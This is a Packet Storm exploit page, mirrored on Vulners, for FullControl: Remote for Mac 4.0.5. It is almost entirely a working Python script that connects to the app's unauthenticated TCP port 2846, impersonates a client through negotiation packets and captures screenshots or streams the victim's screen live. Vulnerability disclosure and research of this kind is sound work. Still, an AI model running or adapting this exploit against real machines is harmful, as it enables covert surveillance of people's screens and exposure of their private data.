Lucene search
K

📄 FullControl: Remote for Mac 4.0.5 Unauthenticated Screen Capture

🗓️ 29 Jul 2025 00:00:00Reported by Chokri HammediType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 88 Views

Unauthenticated remote screenshot capture on FullControl Remote for Mac 4.0.5 via port 2846.

Code
# Exploit Title: FullControl: Remote for Mac 4.0.5 - Unauthenticated Screen
    Capture Exploit
    # Date: 29/07/2025
    # Exploit Author: Chokri Hammedi
    # Vendor Homepage: https://fullcontrol.cescobaz.com/
    # Software Link:
    https://apps.apple.com/us/app/fullcontrol-remote-for-mac/id347857890
    # Version: 4.0.5
    # Tested on: macOS 14.4 Sonoma
    
    
    '''
    Description:
    
    "FullControl: Remote for Mac" 4.0.5 is vulnerable to unauthenticated remote
    screenshot capture and live screen streaming due to a lack of
    authentication on TCP port 2846. The exploit allows attackers to silently
    capture screenshots or continuously stream the victim's screen in real-time
    without requiring any credentials
    
    '''
    
    import socket
    import time
    import argparse
    import cv2
    import numpy as np
    
    HOST = '192.168.8.103'
    PORT = 2846
    DEBUG = False
    TIMEOUT = 30.0
    MAX_JPEG_SIZE = 10 * 1024 * 1024
    FLUSH_TIMEOUT = 0.5
    
    
    NEGOTIATION_PACKETS = [
        '<request type="info">accessibilityAPIEnabled</request>',
        '<request type="info">protocol</request>',
        '<request type="info">API_level</request>',
        '<request type="info">fc</request>',
        '<request type="info">os</request>',
        '<info subject="protocol">json2</info>',
        '<request type="info">version</request>',
        '<request type="info">fc</request>',
        '<request type="info">os</request>',
        '<request type="info">device</request>',
        '<info subject="app">FullControl</info>',
        '<info subject="version">4.2.0</info>',
        '<info subject="fc">4.2.0</info>',
        '<info subject="os">26.0</info>',
        '<info subject="device">Attacker</info>',
    ]
    
    class ScreenshotTaker:
    
        def __init__(self, host=HOST, port=PORT):
            self.host = host
            self.port = port
            self.sock = None
            self.request = (
                '{"Class":"Request","Id":19,"Type":"screenshot",'
                '"Arguments":{"size":"1906.000000;914.000000","quality":0.8,'
    
    '"rect":"0.000000;0.000000;1906.000000;914.000000","followMouse":1}}'
            )
    
        def save_screenshot(self, data, filename_prefix="screenshot"):
    
            if not data:
                return False
    
            timestamp = int(time.time())
            filename = f"{filename_prefix}_{timestamp}.jpg"
            try:
                with open(filename, 'wb') as f:
                    f.write(data)
                print(f"[+] Saved {len(data)} bytes as {filename}")
                return True
            except Exception as e:
                print(f"[!] Error saving file: {e}")
                return False
    
        def flush_input_buffer(self, sock):
    
            if sock is None:
                return
    
            original_timeout = sock.gettimeout()
            sock.settimeout(FLUSH_TIMEOUT)
            try:
                while True:
                    data = sock.recv(16384)
                    if not data:
                        break
            except (socket.timeout, BlockingIOError):
                pass
            except Exception:
                pass
            finally:
                sock.settimeout(original_timeout)
    
        def receive_screenshot(self, sock):
    
            print("[*] Receiving screenshot data...")
            buffer = bytearray()
            start_time = time.time()
            jpeg_start = -1
    
            while time.time() - start_time < TIMEOUT:
                try:
                    chunk = sock.recv(16384)
                    if not chunk:
                        break
    
                    buffer.extend(chunk)
    
    
                    if jpeg_start == -1:
                        jpeg_start = buffer.find(b'\xff\xd8')
                        if jpeg_start != -1:
    
                            del buffer[:jpeg_start]
                            jpeg_start = 0
    
    
                    if jpeg_start != -1:
                        jpeg_end = buffer.find(b'\xff\xd9', jpeg_start)
                        if jpeg_end != -1:
                            jpeg_end += 2
                            return buffer[:jpeg_end]
    
    
                        if len(buffer) > MAX_JPEG_SIZE:
                            print("[!] Exceeded max JPEG size")
                            return None
                except socket.timeout:
                    break
                except Exception as e:
                    print(f"[!] Receive error: {e}")
                    break
    
            return None
    
        def connect_and_negotiate(self, sock):
    
            for pkt in NEGOTIATION_PACKETS:
                try:
                    sock.sendall(pkt.encode())
                    time.sleep(0.01)
                except Exception as e:
                    print(f"[!] Negotiation failed: {e}")
                    return False
            return True
    
        def capture(self):
    
            try:
                with socket.create_connection((self.host, self.port),
    timeout=TIMEOUT) as sock:
    
                    if not self.connect_and_negotiate(sock):
                        return
    
                    time.sleep(1.5)
                    self.flush_input_buffer(sock)
    
    
                    sock.sendall(self.request.encode())
    
    
                    if screenshot := self.receive_screenshot(sock):
                        self.save_screenshot(screenshot)
                    else:
                        print("[!] Failed to receive screenshot")
    
            except (socket.timeout, ConnectionError) as e:
                print(f"[!] Connection error: {e}")
            except Exception as e:
                print(f"[!] Unexpected error: {e}")
    
    
    class LiveStreamer:
    
        def __init__(self, host=HOST, port=PORT):
            self.host = host
            self.port = port
            self.sock = None
            self.buffer = bytearray()
            self.request = (
                '{"Class":"Request","Id":20,"Type":"screenshot",'
                '"Arguments":{"size":"372.000000;178.388248","quality":0.8,'
    
    '"rect":"0.000000;0.000000;1906.000000;914.000000","followMouse":1}}'
            )
            self.frame_timeout = 3.0
            self.retry_delay = 1.0
    
        def flush_input_buffer(self, sock):
    
            if sock is None:
                return
    
            original_timeout = sock.gettimeout()
            sock.settimeout(FLUSH_TIMEOUT)
            try:
                while True:
                    data = sock.recv(16384)
                    if not data:
                        break
            except (socket.timeout, BlockingIOError):
                pass
            except Exception:
                pass
            finally:
                sock.settimeout(original_timeout)
    
        def connect_and_negotiate(self, sock):
    
            max_retries = 3
            for attempt in range(max_retries):
                try:
                    for pkt in NEGOTIATION_PACKETS:
                        sock.sendall(pkt.encode())
                        time.sleep(0.01)
                    return True
                except Exception as e:
                    if attempt == max_retries - 1:
                        print(f"[!] Negotiation failed: {e}")
                        return False
                    print(f"[!] Negotiation attempt {attempt + 1} failed,
    retrying...")
                    time.sleep(self.retry_delay)
    
        def _ensure_connection(self):
    
            try:
                if self.sock is None:
                    self.sock = socket.create_connection((self.host,
    self.port), timeout=TIMEOUT)
                    if not self.connect_and_negotiate(self.sock):
                        return False
                    time.sleep(1.5)
                    self.flush_input_buffer(self.sock)
                return True
            except Exception as e:
                print(f"[!] Connection error: {e}")
                self._close_connection()
                return False
    
        def _close_connection(self):
    
            if self.sock:
                try:
                    self.sock.close()
                except Exception:
                    pass
                self.sock = None
    
        def _receive_frame(self):
    
            start_time = time.time()
            jpeg_start = -1
    
            while time.time() - start_time < self.frame_timeout:
    
                if jpeg_start == -1:
                    jpeg_start = self.buffer.find(b'\xff\xd8')
                    if jpeg_start >= 0:
    
                        del self.buffer[:jpeg_start]
                        jpeg_start = 0
    
                if jpeg_start != -1:
                    jpeg_end = self.buffer.find(b'\xff\xd9', jpeg_start)
                    if jpeg_end >= 0:
                        jpeg_end += 2
                        frame = self.buffer[:jpeg_end]
                        del self.buffer[:jpeg_end]
                        return frame
    
    
                try:
                    if not self._ensure_connection():
                        return None
    
                    chunk = self.sock.recv(16384)
                    if not chunk:
                        print("[!] Connection closed by server")
                        self._close_connection()
                        return None
                    self.buffer.extend(chunk)
                except socket.timeout:
                    continue
                except Exception as e:
                    print(f"[!] Receive error: {e}")
                    self._close_connection()
                    return None
    
            print("[!] Frame receive timeout")
            return None
    
        def stream(self):
    
    
            window_name = "Live Stream"
            cv2.namedWindow(window_name, cv2.WINDOW_NORMAL)
            cv2.resizeWindow(window_name, 800, 600)
    
            frame_count = 0
            last_frame_time = time.time()
    
            try:
                while True:
    
                    try:
                        if not self._ensure_connection():
                            print("[!] Reconnecting in 2 seconds...")
                            time.sleep(2.0)
                            continue
    
                        self.sock.sendall(self.request.encode())
                    except Exception as e:
                        print(f"[!] Send error: {e}")
                        self._close_connection()
                        time.sleep(1.0)
                        continue
    
    
                    frame_data = self._receive_frame()
                    if frame_data is None:
                        self._close_connection()
                        time.sleep(1.0)
                        continue
    
    
                    try:
                        img_array = np.frombuffer(frame_data, dtype=np.uint8)
                        img = cv2.imdecode(img_array, cv2.IMREAD_COLOR)
                        if img is not None:
                            cv2.imshow(window_name, img)
                            frame_count += 1
    
    
                            now = time.time()
                            elapsed = now - last_frame_time
                            if elapsed >= 1.0:
                                fps = frame_count / elapsed
                                print(f"\r[+] Streaming - FPS: {fps:.1f}",
    end="")
                                frame_count = 0
                                last_frame_time = now
                    except Exception as e:
                        print(f"[!] Image processing error: {e}")
    
    
                    if cv2.waitKey(1) & 0xFF == ord('q'):
                        break
    
            except KeyboardInterrupt:
                print("\n[!] Stream interrupted by user")
            finally:
                self._close_connection()
                cv2.destroyAllWindows()
                print("\n[+] Stream ended")
    
    
    def main():
        parser = argparse.ArgumentParser(description='Capture device
    screenshots or stream live video')
        parser.add_argument('--mode', choices=['screenshot', 'live'],
    default='screenshot',
                            help='Operation mode: screenshot or live streaming')
        args = parser.parse_args()
    
        if args.mode == 'screenshot':
            taker = ScreenshotTaker()
            taker.capture()
        elif args.mode == 'live':
            streamer = LiveStreamer()
            streamer.stream()
    
    
    if __name__ == "__main__":
        main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Jul 2025 00:00Current
7.9High risk
Vulners AI Score7.9
88